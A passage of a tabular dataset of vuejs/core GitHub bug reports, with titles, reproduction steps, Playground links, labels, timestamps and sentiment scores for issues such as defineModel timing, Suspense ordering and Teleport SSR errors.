https://play.vuejs.org/#eNrNWwlz20ay/isTJW9FJbxkW3aWkbWRZTnxlm25ROWlUlHKBskBCQsEUACoY7X67+/rngMzIEBJ3tqqp0osYKanp+/p6YZutw6zrH+5klujrf1imkdZKQpZrjIRB8n85flWWZxvHZwn0TJL81LcilyGXZEm79NVUsqZuBNhni7F+RZQnG/9ZAFf/RIkZWkm+4MJv9NGDHWeDAai1+uJozQJo/kqD8ooTWjkPJmmSVGK0+PxyW+nR8efjk5++3AmXoonwyEWqsnx2eHp2afXh2fHmEjklXgdlLKzg/lqpg82fk1XedEZdoX+jyAUhuMPr9fWV4ho7ZtVHP8hg7zjoJw7wzviB7G7QxgNrrYdHXZPZViIMM2FEg92C1ym5zTKgy9J0J0//6oonoGywhu3WH+VcSZz8WaVTEmMheicyiyOphBqMhe/lVEclZEsdrytJDa6KV7J8krKhNgm5J2iDHKiQHaFTGb0sCNeHojb80QIQ8cNQf75FygQIpalmK7yXCa8yhWnRUW0CnG1iGIpOi7w/stqE95BMPZ+tioWlTacFSxuAnPGSOp1OFKU0iQriRfd0T85TDtPeBcM3rEQHfGepaTaw2T2Pk3KBcmDIOsSyGWxistKBkwzlHocTBdYQFLQ8GbFDbACnuZ8GzLsMNRSb2rAmIgmmNdRkcXBjQEt03fpNIjluMyh7872TIYBCNzuwl0ZfiS24zSZb4s7ZTaEjhRHZJ1MvrBREUv9MEpmHeA9EDd9RfPLlwxliIhC0flGL7M6Ew6iW37uqn2LEUQkSMoKTO/C6jVI9CS0U9HFixU+DdZX+BSBSyJwqYaYQn7ySDQYHBodpLdipiQ48uSpqe4qW6jRXiOEebC7VEy4O/UZjwKlR22H6pe2RCWSmi1Gxe9SXsA1lAU2+qBjJ/BjbSWVebNchuLf/7Yvz38SCBfjVUIDiEDjALB4NlvrWMLR5xeZSB2Sq6DiBQ+el6eyQLybqtAxpSOhwVcshHYXCn8dUnOEseFP+LUPYKzF4w8/WI3ZlUqAVo+fotlIfDazn767je4+d81kGOVFmQRLCRBDXDUbB3YSyyg02KVaK26QsATUtGOY/5inX+S0LN6kudmKxGCWvZ3VZZHpBZUovPEjkgHm3gfloh/GaZp3+DEPklm6RCj7XjzleMaK3BVlKp5WOOkAMFu3SdndyBe2QdMoaz0JUVe83dUEbx3qsxaLqEsYnlkgTl1IoPT5OhDD/t/b9WBoa1HDOxlcKgP0Y7WRbmzmtcy9cToCN4t8d2+H5T3s7T5TazjeK0xNQrZ4fQmvbcyHJaH6c8PufLTEMpkjvhnybZCzYQIkaJQ73n7K6Jl/rViOGaOKhK64DOIVRnaN5NWPjmT6l1aEwkRq8HKa90GUqLAB1cNdCko6n... [TRUNCATED]","scope: reactivity,:exclamation: p4-important,regression",2025-07-12 10:39:55+00:00,2025-07-18 07:28:32+00:00,2,"scope: reactivity,:exclamation: p4-important,regression",5.8671,perf regression real world use case vue version v alpha link to truncated,bug,0.0
vuejs/core,3223957078,Inconsistent update timing behavior when using defineModel,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU9tu2zAM/RVBL0mBxkabDQMyJ+g29GEDdsHWRwGDa9OeWlk2dHEDeP73kVLiZukFRV8MiufQPKSOBv6h65LeA1/xzBZGdo5ZcL5jKtf1WnBnBd8ILZuuNY4NzEDFRlaZtmEzLJtN0BVY96nFWIN2O0KS/pelPlggdNFq61hj6zO2pj/OZ60qZyfvD5DzJ5HlMZKlUTjKxIODplO5AzwxlpWyDwGGDqUsiklhus9fm/v4iLNq2hLUos+VB9wFCRb8RZX9IpTGonPBX9dtid0ufFfiOEfg/IStN2wYJzlZGkfN0oMF8FO8P1xcJevkxrYaL3kgsuDUVSow3zsncbGCr1hACMuVau++hJwzHk73+eIPFLeP5G/slnKC/zBgwfQg+IS53NTgInz56xtsMZ5AHMkrZD8D/gTbKk8aI+2j1yXKPuAFtZ+DB6Wur+zl1oG2+6FIKDHHwBccHUh2fGr0e7nL5E2oE3rELT6w8WufC9p1sjJdKHq5hEpq+EqnzDqDQ2zmZOs9D5fqlYum3xHYX6a9Ups5fSO38rqgeRiZCt0RRgotkuAZrJ9puCMBbPfLCTigIYwjP/eirr1z2OaiULK4pYmxH85MG8rSCEai7XKN70BWSIoNkTYMMRxH7IGERxz7uwdD94crXiZvk7N3fPwHQ+GPgQ==

### Steps to reproduce

1. Create a component that uses `defineModel` to set up 2 way binding
2. Within that component, alter the model and then read its value after within the same tick on some action (`onBeforeMount`, on a button click, etc.)
3. Import and use the component both with the 2-way binding connected and without it fully connected
4. Observe the value read from the model is sometimes the pre-update value, and in other cases is the post-update value

### What is expected?

The model is updated with consistent timing regardless if props are provided or events handlers are provided. I think ideally the model would be updated within the same tick so that reading from it afterwards is intuitive.
Ex:
```ts
const model = de... [TRUNCATED]",,2025-07-11 19:15:01+00:00,2025-07-12 01:12:07+00:00,4,nan,0.248,inconsistent update timing behavior when using definemodel vue version link to create a component that uses to set up way binding within that component alter the model and then read its value after within the same tick on some action on a button click etc import and use the component both with the way binding connected and without it fully connected observe the value read from the model is sometimes the pre update value and in other cases is the post update value what is expected the model is updated with consistent timing regardless if props are provided or events handlers are provided i think ideally the model would be updated within the same tick so that reading from it afterwards is intuitive ex ts const model de truncated,others,0.91
vuejs/core,3221342603,Vue3 custom element prop type number is string in production builds,"### Vue version

^3.5.16

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUk2P0zAQ/SsjX9qK1qEqEaiklaD0AAdYLYhTJJRNJq0Xx45sp60U5b8zdppQrRb2lPi9N28+W/ahrvmpQbZmic2NqB1YdE0NMlOHTcqcTdk2VaKqtXHQQoGlULhrrNPVXmKFykEHpdEVTMhmMkp3uqqvOI/8w2chOtfK9uwOYfOc39STc2jtMSv0+V5rt4Yykxa7GYXfKi3vw6eTHBc5RdnJ/GpN0iTqG6Ly6eGwqmXmkF4AyaCHUmvqMuZxyuAhM/T/mscr6jmJBg1FJNEYzuY0E2qiFAf+aLWiwbXeMmVeLCSab7UT1GTK1hAYz2VS6vOXgDnT4HzA8yPmv5/BH+3FYym7M2jRnDBlI+cyc0DX0/vvX/FC/yNZ6aKRpP4PeY9Wy8bX2Ms+Nqqgsm90odrPYY9CHX7Y/cWhskNTvlCv7II+ZbRXP/N/tf633BV/E+JS1dEUh5t44fK8iVAOTZnlGJZ7ZzQt7uoPfoNrUE31gOb9gNEmn2CU1H/666uDwwbOwh0/YZk10tlpf0rBPBnTbKczusSQYrGc976LZTcj15vzuj2upBCnbdv6suCVD4CuSyIPPj2jXyc0fqg0gBWP+fKtx5z9OaIxf8dXrPsDn602Cw==

### Steps to reproduce

When using `lang=ts` with `defineProps<T>()` production builds of the component when defined as a custom element `defineCustomElement` don't coerce string prop attributes to numbers. This works perfectly fine in dev mode.

When referring to the reproduction link, please select the `Comp.vue` tab, then toggle between DEV and PROD you will see the behavior of the rendered value swapping between  `6.03` and `5.50.53`. This is stable for some reason when viewing from the `App.vue` container.

### What is expected?

When building vue code for production, `defineCustomElement` should coerce string props to number props if a valid number string is provided i.e.

`<ce-comps project-id=""5"" />`

### What is actually happening?

Provided `<ce-comps project-id... [TRUNCATED]",":hammer: p3-minor-bug,scope: playground,scope: custom elements",2025-07-11 03:18:34+00:00,2025-09-04 12:31:28+00:00,10,":hammer: p3-minor-bug,scope: playground,scope: custom elements",55.384,vue custom element prop type number is string in production builds vue version link to when using with production builds of the component when defined as a custom element don t coerce string prop attributes to numbers this works perfectly fine in dev mode when referring to the please select the tab then toggle between dev and prod you will see the behavior of the rendered value swapping between and this is stable for some reason when viewing from the container what is expected when building vue code for production should coerce string props to number props if a valid number string is provided i e what is actually happening provided ce comps project id truncated,bug,0.9274
vuejs/core,3220141461,Style values with spaces are not preserved,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#__PROD__eNp9kTFPwzAQhf+KdUuW0g4wRaESlA4wAAJGLyE9Qorjs3yXkKrKf8d2aOmAulnvPd377ryHG+fmfYeQQyHYOlMKLrVVqnAqZ9kZvNawj4JSmSNupCF7UXoss1xl7yRCrWJXBs2YLOZGDcvVJ1Zfqt2pNIFVY9Ud9kJkuFi4ML9YnJTBDIQrsh9NPd8y2cCSGjVU1LrGoH9ysZY15OqXRUPoo++HpInvcHbQq9j9j77lIWoanj0y+h41HD0pfY0y2evXRxzC+2i2tOlMSJ8xX5DJdJFxit12dhOwT3KJ9r515KWx9RuvB0HLh6UiaLpdymsIH7I6s/of7uX8arq5HWH8AfjElvI=

### Steps to reproduce

1. Open reproduction and check the styles of the only element that exists.

### What is expected?

Style is binded as `position-area: bottom span-all`

### What is actually happening?

Style is binded exactly as `position-area: bottom`

### Any additional comments?

_No response_",,2025-07-10 17:33:46+00:00,2025-07-10 18:37:13+00:00,2,nan,0.0441,style values with spaces are not preserved vue version link to open reproduction and check the styles of the only element that exists what is expected style is binded as what is actually happening style is binded exactly as any additional comments no response,others,0.128
vuejs/core,3219660314,"If you pass a reactive variable to toRaw() within computed, computed will not be re-evaluated even if the reactive variable changes.","### Vue version

5.8.3

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUsFq3DAQ/ZVBl8iweEnSQgnepWnJoT20JQm9VKW49uxWiS0JabS7wfjfO7LqTQIlkIOxZua9p5mnGcSlc+UuorgQVWi8dgQBKbq1Mrp31hMM4HGzALLX9X4Bje1dJGxhhI23PZww90QZZRprAgH17gYJVokjDe6BI/njZ1HMgJl/OwPnhJQFrNYwKANMpuhNvlJmyXJXdxGL/AuyKPvaSZ0YuijJXnpfP0i+ZeSvWuZJeAYOCHvX1YQcAVS/I5Fl6QeHKyVypAS8bzrd3HPm321128rTQok1H+C0WmbgqyXOZomz5xKt3q3ZoQsYhowex2qZksfqbEuCPPfsEVotn8wmFoICe7zR2/IuWMMPOnmpRKLrDv1XR5rfQAnWTJVUq7vO7j9POfIRF3O++YPN/X/yd+GQckp88xjQ71CJY41qv0XK5aubL3jg87HY2zZ2jH6heI3BdjH1mGEfomm57Se4qdtP01pqs70NVwdCE+ahUqMJOU54JXgzP74w+mO75+Wbicfbwy7+ovAdfVJlC9+W78pzMf4FkkIP3g==

### Steps to reproduce

Click on the SFC Playground link.
1. Click on the add 1 button.
2. Click on the add 2 button.

As a result, computed is not re-evaluated after executing 1. or after executing 2.

### What is expected?

Since the reactive variable in computed has changed, we expect computed to be re-evaluated accordingly.

### What is actually happening?

Why is it that when a reactive variable in computed is passed to toRaw() as a parameter, computed is not re-evaluated even if the reactive variable changes?

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-07-10 14:46:27+00:00,2025-07-11 14:22:43+00:00,1,nan,0.9835,if you pass a reactive variable to toraw within computed computed will not be re evaluated even if the reactive variable changes vue version link to click on the sfc playground link click on the add button click on the add button as a result computed is not re evaluated after executing or after executing what is expected since the reactive variable in computed has changed we expect computed to be re evaluated accordingly what is actually happening why is it that when a reactive variable in computed is passed to toraw as a parameter computed is not re evaluated even if the reactive variable changes system info any additional comments no response,others,-0.296
vuejs/core,3219530426,Slot <template> not working when its name starts with an underscore (_) since v3.5.14,"### Vue version

v3.5.14 - v3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNq9Vd9P3DAM/les7gEJHa2mbS+3gsbuhrYJhjSQ9rAiyLW+u0CaVElaOCH+9znN9ReFaUzTpD609mf7s+t8uQ8OiyKsSgymQWwxLwSzeJBIgPgjM3jMNqq09TdZGj9Ue3y5nwRMbmZKZtxyJWdrTG8+o8YfXIi5SgJ4pZnMVG6EspLlPmmdpmhfAQ4NCCVXwAzcIjCNkDYZmRAb0Cgz1JwQds0NuGQTekVArZUGlaalNmG80L2c5+R2QMgUGrljASuUsGYVglWAd9xY4LLOkqq8UBKlDVt2UUMvjgbzANiaz8rFrAnrmmpn88pyK7puyZXxCozdCKSRpUooPYWVRpRJcHBVg6+gjb5V+sbEEYV0qfs8nqh3mZWauYH9ac024AV1vWHUehwNtuQR1dikmhcWBJMr4mENbYVBW/oJc0qkLfRzwlKrHHbCQSG3nTvvexFdyRbfmRq0w9Mq0a/+zZbCPlhdIsHjyHMlZsGEmFLokq/Ca6MknYx7l80NMi+4QH1auFzUzRRqj/PZTYG15WcSVNzinqlWe0Ix2t4kmBDAGaNUcOrIGz7UIVGZs5wnwcWkzcT0CgkzpfdPZ9/wzuEbZ2lwjksu8UjpmWDGHHEUWV3YddLicpWVAp9J4p3f0ShRuk48bFHKjJrr4YzVPK2ZDHJfmzsfUWg0qCsq04WoUqd4wopRFGGVqPArTfSkJTdAcALQ6mTePe4Jjfd8kRa1GlcQfOF/wHaBR5070/z0JAn8Zzdyc8OLY76ot2NMXCk75zQX13IY+eiH2k2cZSrKrO5lW5ey6TTa3Y12Q7fwXY3Gmj1jt26sYzPtsy95kcgHt9e0n8N1H0t3d4zjWgid/tIBHAoySQFtPX30oX1TIwcvONXDY/T4FI+J9tnVUkiktmyeUDCNGfnP3UVAj9PvDJesFNbLPZ1ZW4sIXQxbYa1vht4d42Ka/ik705buHW7XJBJA64+aDr5Gf8O02thcI04jw04j20mNOmkF9p9100n2f+nor//4ZUUFiSb96Tfhu/D12+DhF76Uxyk=

### Steps to reproduce

It seems this issue needs the following conditions to arise:

- Have some templates/slots that start their name with an underscore (_)
- The component that contains the templates/slots (`SubComponent.vue`), is placed in the template of another component (`BaseLayout.vue`) and is a sibling of a conditionally rendered template for a slo... [TRUNCATED]","has workaround,:hammer: p3-minor-bug,regression",2025-07-10 14:12:17+00:00,2025-07-23 00:40:21+00:00,0,"has workaround,:hammer: p3-minor-bug,regression",12.4362,slot not working when its name starts with an underscore since v vue version v v link to it seems this issue needs the following conditions to arise have some templates slots that start their name with an underscore the component that contains the templates slots is placed in the template of another component and is a sibling of a conditionally rendered template for a slo truncated,bug,0.0
vuejs/core,3216264322,insertBefore DOM Error When Navigating to Specific Dynamic Nested Route,"### Vue version

3.4 x

### Link to minimal reproduction

https://play.vuejs.org/#eNp1jk0KgzAQhv9KZ7aRkFbAwXbRzVjqFLrQLoWLt0DtvvWxT9kQY6t57/cS93wZjxAV4eSBVohBLk9iwM9pQIsfABjKsJ2QxUsU3gpYO49izCNFp+GP0AruY25HFB8TDR3Z0H00v5U8eMa9tOdm22kZUNiaQbYqcm2pACbiC4kUu3l4bLOUAburD+14PYVK1UJHnQflceosf1SdaAT7sByzFh1+d8Hhy+OkhWZnR/x+mN6cp

### Steps to reproduce

Create a Vue 3.4 project (using Vite, Vue CLI, or similar)

Install and configure vue-router@4

Define the following routes:

```
{
  path: ""/teacher/class/:id"",
  name: ""teacher class"",
  component: ClassOverview,
},
{
  path: ""/teacher/class/:id/badges"",
  name: ""teacher class badges"",
  component: ClassBadgeList,
},
{
  path: ""/teacher/class/:id/badges/:badgeId"",
  name: ""teacher class badge"",
  component: ClassBadgeDetail,
},
```

Use a standard App.vue file with a dynamic key on <router-view>:

```
<template>
  <router-view :key=""$route.fullPath"" />
</template>
```

Use a minimal component for ClassBadgeList.vue:

```
<template>
  <div>
    <p>BADGES PAGE</p>
  </div>
</template>
```

Start the dev server and navigate in the browser to:

/teacher/class/123 ✅ — works

/teacher/class/123/badges/456 ✅ — works

/teacher/class/123/badges ❌ — crashes with DOM error

### What is expected?

Navigating to `/teacher/class/:id/badges` should correctly render the `ClassBadgeList.vue` component like any other route. The page should mount cleanly without any DOM or runtime errors, as happens with the sibling routes.

### What is actually happ... [TRUNCATED]",can't reproduce,2025-07-09 15:05:49+00:00,2025-07-13 00:12:56+00:00,1,can't reproduce,3.3799,insertbefore dom error when navigating to specific dynamic nested route vue version x link to create a vue project using vite vue cli or similar install and configure vue router define the following routes use a standard app vue file with a dynamic key on use a minimal component for classbadgelist vue start the dev server and navigate in the browser to teacher class works teacher class badges works teacher class badges crashes with dom error what is expected navigating to should correctly render the component like any other route the page should mount cleanly without any dom or runtime errors as happens with the sibling routes what is actually happ truncated,bug,0.1027
vuejs/core,3214259333,build error [vite:build-import-analysis] Maximum call stack size exceeded,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk2P0zAQ/SuDL+1K20YITlVaCdAiQAJWgMQBcwjJpOtdx7Y8djYQ5b8zdmjpaj9u4/fejN98jOKVc+s+otiIkmqvXADCEN1OGtU56wOM4LGFCVpvO1iwdCGNNLU1FKCjPWwTv1y8Q60tfLdeN88WZ9KUxVyOC/EjYOd0FZBfAOXV89045uRpKgt+ZVQZFwP0q842qLdSMC8FFDMZkMIb27ldWRzD9MlJYXEuArGvVu3X12QNtzSmXClqViuN/rMLin1LsYHMJK5i27cfMhZ8xPMDXl9hffMAfk1DwqS49Ejoe5TiyIXK7zHM9MXXTzhwfCS5rahZ/QT5BcnqmDzOstfRNGz7RJfdvs+LUWb/jS6GgIYOTSWjSTllvRS8rDSox1r/b/fF+mXOk2ZKU/w34EfuYl6989bRtsFWGbxM8TLXTblvo6nTb5tDAEUBt0pr+BWVbqCuIiH86FXATUZW86mtKlPp36ToJ3ysBtXFjqWcRaGqb4DUHwQcasQGGzbKN6baZbaxPv31bG7wPrHkDO7wqcNsVJ8DDknbcDi+YsbvXtv0F4lqG24=

### Steps to reproduce

when i use props type Function, build will cause a error
```
const props=defineProps({
  testFunction:Function // will build cause [vite:build-import-analysis] Maximum call stack size exceeded
})
```
when i give default value,  will be ok
```
const props=defineProps({
  testFunction: {
   type: Function,
   default: ()=>{}
 }
})
```
**npm run build**
will cause error
x Build failed in 1m 8s
error during build:
[vite:build-import-analysis] Maximum call stack size exceeded
===============

It made me investigate for a long time，can vue team give some advice to avoid this problem?

这个问题让我排查了很久，请问vue团队有什么好的解决方案，避免这个错误吗？







### What is expected?

Function with no default value, build success
函数类型的参数无默认值，也能打包成功

### What is actually happening?

Function with no default value, build failed
函数类型的参数无默认值，打包失败

###... [TRUNCATED]",can't reproduce,2025-07-09 02:13:44+00:00,2025-07-09 02:40:56+00:00,2,can't reproduce,0.0189,build error vite build import analysis maximum call stack size exceeded vue version link to when i use props type function build will cause a error when i give default value will be ok npm run build will cause error x build failed in m s error during build vite build import analysis maximum call stack size exceeded it made me investigate for a long time can vue team give some advice to avoid this problem vue what is expected function with no default value build success what is actually happening function with no default value build failed truncated,bug,-0.9352
vuejs/core,3213967216,Prop that is possibly `undefined` cannot be defaulted to `undefined` when `exactOptionalPropertyTypes` and `strictNullChecks` are true,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UtFOGzEQ/JWVXwoSuqiiVaXooGppHtoHiFoeLVXWZXM58NlmvU5ygvt31j4ISCB0L/bM2Dcz63v1I4Rqm1DNVR0b6gJDRE4BrHHtmVYctTrXTrvGu8gQyIcIZ7DrePML1yZZjkdC8wrXncNlpuv7DGiOTJ1rM/R9DtMGHiC5SbqC2QyunB3AB+68MxaiB94gLK0ZWvIihJXH6D6JJTNA38WYryC8Sx3J+eylggWRJ/BNkygCii0k2JkhWxjPj45P8uKNofmLjSIYtTvWrp5NDZS8NWMfrGGUXT17tVEnUoq0se7a6iZ6J83J/QBaNb4PnUW6KoGkuDkUJnPGWr/7UzCmhPLXCW822Ny+g9/Efca0WhJGpC1qdeDYUIs80Yt/l7iX9YHs/SpZUX9A/sXobcoeJ9lPKUNsv9IVt7/74Imlseu42DO6+BzqyWj5pFatcG8anlIbm/tF4uF6CPg2V55Bw5fJ2ouc/CDI/FhUWslzvPigypf4p9WXck67Uabyf4uUPcpATquv1edvanwE4tr+Eg==

### Steps to reproduce

1. In your `tsconfig.json`, under `compilerOptions`, enable `exactOptionalPropertyTypes` and `strictNullChecks`
    - Note: Setting `""strict"": true` will also enable `strictNullChecks` and cause the issue
2. In a component, create a prop whose type is possibly `undefined`, and then set it's default value to be `undefined`
 
Example:

```ts
const props = withDefaults(
	defineProps<{
		stringProp: string | undefined
	}>(),
	{
		stringProp: undefined,
	}
)
```

3. Notice the error:

```
Argument of type '{ stringProp: undefined; }' is not assignable to parameter of type 'InferDefaults<LooseRequired<__VLS_Props>>' with 'exactOptionalPropertyTypes: true'. Consider adding 'undefined' to the types of the target's properties.
  Types of property 'stringProp' are incompatible.ts(2379)
```

...even though 'undefined' has been added to the types ... [TRUNCATED]",scope: types,2025-07-08 23:03:25+00:00,2025-11-05 08:50:59+00:00,1,scope: types,119.408,prop that is possibly cannot be defaulted to when and are true vue version link to in your under enable and note setting will also enable and cause the issue in a component create a prop whose type is possibly and then set it s default value to be example notice the error even though undefined has been added to the types truncated,others,0.5106
vuejs/core,3211761316,Native semantic Tags doesn't work,"### Version
3.5.17

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNp9kUFLAzEQhf/KmMsqaBfRU9kWVArqQUUFL7ks2+k2NZuEZFILy/53J1lae5DeZt77ZnjD9OLOuck2opiKKjReOYKAFN1cGtU56wl68LiCAVbedlAwWkgjTWNNIOhCC7PknxePqLWFL+v18qy4kKYqx3W8iBvCzumakDuAan097/s8PAxVyV1WA9a+WeeaO2VcJNhedXaJeiYF01JAOaLlga3Ko9XiUlDgZCvVTjbBGj6qT7wUje2c0uhfHSlOLsUUspO8moP/PGeNfMTLvd6ssfn+R9+EXdKkePMY0G9RioNHtW+RRnvx8YI7rg8mnxI10yfMdwxWx5RxxO6jWXLsIy6nfcqvUab9DIsdoQn7o1LQRA6Zl4Lf9XDi9L+4N5PbPCfNIIZfpNevmA==)







### Steps to reproduce
use a search-tag in vue template code

### What is expected?
should work

### What is actually happening?
Failed to resolve component: search

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-07-08 09:28:52+00:00,2025-07-08 09:35:50+00:00,1,nan,0.0048,native semantic tags doesn t work version play vuejs org use a search tag in vue template code what is expected should work what is actually happening failed to resolve component search,others,0.1531
vuejs/core,3198421193,`<Suspense>` changes the order of elements when using `v-for` with a given `key`,"### Vue version

3.5.7

### Link to minimal reproduction

https://play.vuejs.org/#eNq1VNtu2kAQ/ZXpvgASmDuVKIlEc6mo1BARpD50o8q1B7KJvXZ31waE+PfO2sZALu1DWx6QZ87snDOzM7tl4zh20gTZkI20p0RsQKNJ4nMuRRhHysAWFC5gBwsVhVCh0EoJXURhPNYb6d3ZI0WE0zx12+ynR04CC5hLL5LagDAYajiznNVvXAJshT+Edh2kG+IQKu12u7Krl0CnBDqdzjHQLYFut1vZcXlfsyRcUnVzEWKUmGq1BmfnsLVnMlondYMEiTwjpl+WqVdm6vV6BcUe65dYv99/hg1KbDAYWAUA91zu6tBptVokZtTM+02dJoP448A1SBbAyBcpaLMJ8IwzX2hCNkNYBLj+AEs3prJb8foDZ1kwhetEx0iVFXaeoDTIfNdowNfZ9OYTTGeXVzMYX8/p/8v0cnI9uRjPJ9MbqHqRUugZWAnzQN2B4RNuiN52xhE+ZzVoNI5zPrv8tLGIVBEPQuYd5exFGhjaz8JDZvMgunlQTc05remkooz7rxkPfPuvUfPoGlidGU1DuRBL51FHkjYkGxXOPGIXAappbAQNLWfDfIgs5gZBtPqc+YxKsJgIOvOA3tMr/ke9tj7ObhVqVClyVmLGVUs0OXx1d4Nr+i7BMPKTgKJ/A85QR0FiNeZhHxPpk+yjuEztJNtMIZdzfbU21PN9UVaojcznmjPaVNv4t0o/yO06vewcjTt18eVz8Mpj4+NCSLxVUayr5UaWyc0mpkWa/nikAS3EK/yZKIG0aKVMosuW3F25woDEFVC+UGisUm+jIKXVPreE+/0vvHVot2p/XshiarbbbLDsau+ypX5rePaP238t9h9r/p6istdPmrtO33nPdr8AIij6Jw==

### Steps to reproduce

1. Render an array of elements using a component with async setup
2. Render new elements


### What is expected?

Vue should render the elements in the same order as in the array.

### What is actually happening?

Vue renders new elements in reverse order. 
Additionally, everything works fine if I use `v-for` without `key`.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: suspense,:hammer: p3-minor-bug",2025-07-03 07:49:42+00:00,2025-07-23 00:42:11+00:00,0,"scope: suspense,:hammer: p3-minor-bug",19.7031,changes the order of elements when using with a given vue version link to render an array of elements using a component with async setup render new elements what is expected vue should render the elements in the same order as in the array what is actually happening vue renders new elements in reverse order additionally everything works fine if i use without system info any additional comments no response,bug,-0.1027
vuejs/core,3197643693,defineProps lost responsive after deconstruction,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#eNq1V21v2zYQ/iuE+iHuajl+iZtUc7KXrh82dFuxFftSFYNMUbYaWRRIKnbn+r/vyBNFylbcYUUTwDaP9/Lc8Xh33Ac/VNXooWZBFCwkFXmliGSqru7iMt9UXCiyJ4Jl5EAywTfkAlgv2q23TCqkx8HoUq+0qjiIS/1PeQnblNelIrdayWD81FLTRCWvc/iBG+/2D0kRTQ7vgcGy1BUwsZeN+OApub0j+7gkqHEEAjV79iwuD741FPrJaffkrE0UHVW1XA+M3aONgpUrtX42OQAYUL64xLhARGCh2KYqwASsCPwt0vyB0CKR8jYOAIISvJBx0OzC/rJWipfke1rk9B54PK+ADVfoUUT2+yZah8PiEgU/p8h66nRZZ4y61jP06VTx4hIcMJ6ZlTlQazIyYIxfBq3bsGphz/7Uh673LkHZ4tKLEiyl+lgwIimvWAqUkY0THssmEau8jMh0XO3I+FtzUrkE8Y8RyQq2M5RVUkVkAhxmpcnhVmia/gSaSYImREZrlaRpXq5QiEzmjeQyofcrAf6kEXlyNV3e3MwMnfKCC9C2zhVDRi5SBpSSlz4hFEma1zIiViGthdSSFc9LxQTCA/9Cmf/DwPqV4fPgRWv+wASC7KCZPX9xc639N8yQdTpqdyQYBgpCV2b5avRB8hIuqpHVx7Kp8oKJ3yuVQ/LHARw5HkIcJEXBt78YmhI1G1o6XTN630P/IHeaFgdvBJNMPMAlbvcUHBCDA9bbr/78je3gd7u54WldAPeZzT+Y5EWtMSLbj+AvwPb4DNqfTU2BM3srX+0UK6V1SgPVnAfDHwdQYl6ecd3BnY2ujByEFKJoy9NxpSNFUq4gkxXeW1v1aom3lImm9OkS54gjze7qTnNzh66wHaD4pCzLS/ZG8EouXOmCpKo3SyaMO9511aUIdw7v3gPmu4FXDfGq1IXKqyJnqUFhFBQg/NrcbrNsWVD9NlF07ZixRvza8oAVgOm8Ghx5YQCcKYBH5Q9CJ5NlwUKl60gKH6KmqhYsbUtiR0KqpIk6FhbYru6gXAheru64yKEuJAUx2CJ9IQy9WyZ1ozon3LYCrIBdNdbN72x9/PSJjM+p1XmHLnqB7up09FNF/TXcO47AhWYDlyJcKrgztrI7vtPu0C3jfozhPoNcpyc5f/SR1Yql0IQlwcMn33guPH3EN8y/Iwc9vTopeyPusvVxYcjZNV03d6Uj7bK5I229939/vgd1kxXrcVP0p9AyoGblKXmSZXQyvu7rADdNB3CdxvYE29FM68GO1qn0WZaxbG4r/cjcgp6GAGwzmh7ZsC3wCAy2mR7TaKJJgq9rJMt3LA3NDNVr6Sa9TpMvtOTOaOKd0Zw+p8sWh77VocnAPhDZi+xLQaAZbSGEcWHTTJd2ZsnLAop+uCw4ve/IQ1Z1DYOBN... [TRUNCATED]",,2025-07-03 01:29:35+00:00,2025-07-04 06:41:00+00:00,5,nan,1.2163,defineprops lost responsive after deconstruction vue version link to truncated,others,0.0516
vuejs/core,3192273209,Teleport fails on ssr if to is undefined on mount.,"### Vue version

3.5.17

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqFUk1Lw0AQ/SvjXqogCVJEKLX4gQc9qKjHBUmTSV272V12J22l9L87u2mjSKm32XnvTd6bzFpcO5ctWhQjMQ6lV44gILVuIo1qnPUEa/BYwwZqbxsYMHUgTWlNIKDCz5DgMhKOW1NhrQxWJ9LkOQQGSZkZLBV9wNRWX7C0fh4SuEc+iJQBa8d5Z4MN8IOwcbog5BfAuFKLVHA5bYmsgatSq3J+KUU/rBskBUxiMc474r+y3r4Uk1T/VRJqTPsYke2F/JlRpUIx1Vhx86jv8gD0WymLgyvMpLaWw8VqOzLfzezS5V282O5Di1NBgddVq1n2Gazh37SOZClK2zil0T85UrxOKUaQkIgVWtvlQ+qRb/F01y8/sJzv6X+GVexJ8ewxoF+gFD22ixThu9dHXHHdg42tWs3sA+ALBqvb6LGj3fB22fYvXnJ7n46ND+Yt3K0ITdiFikYjc5P4UvAB3h6I/mN3mA2TTpoNb/F9gT7O5AUOs/Ps7EJsvgGzhv1P

### Steps to reproduce

Click any of the buttons when ssr is on and preview is refreshed

### What is expected?

No error, content displayed or moved to the correct dom postition


### What is actually happening?

Failed to execute 'insertBefore' on 'Node': parameter 1 is not of type 'Node'.

### System Info

```shell

```

### Any additional comments?

https://github.com/vuejs/core/blob/ba391f5fdf5d84bfacaca6a2a3e7057fc99efa34/packages/runtime-core/src/components/Teleport.ts#L30-L31

I think we should also check for valid props.to here? ie:
```ts
 props && (props.disabled || props.disabled === '' || !props.to)
```",,2025-07-01 12:22:37+00:00,2025-07-01 12:46:29+00:00,1,nan,0.0166,teleport fails on ssr if to is undefined on mount vue version link to click any of the buttons when ssr is on and preview is refreshed what is expected no error content displayed or moved to the correct dom postition what is actually happening failed to execute insertbefore on node parameter is not of type node system info any additional comments i think we should also check for valid props to here ie,others,-0.8834
vuejs/core,3187713925,"Suspense use dynamic async component,fallback just work once","### Vue version

3.0+

### Link to minimal reproduction
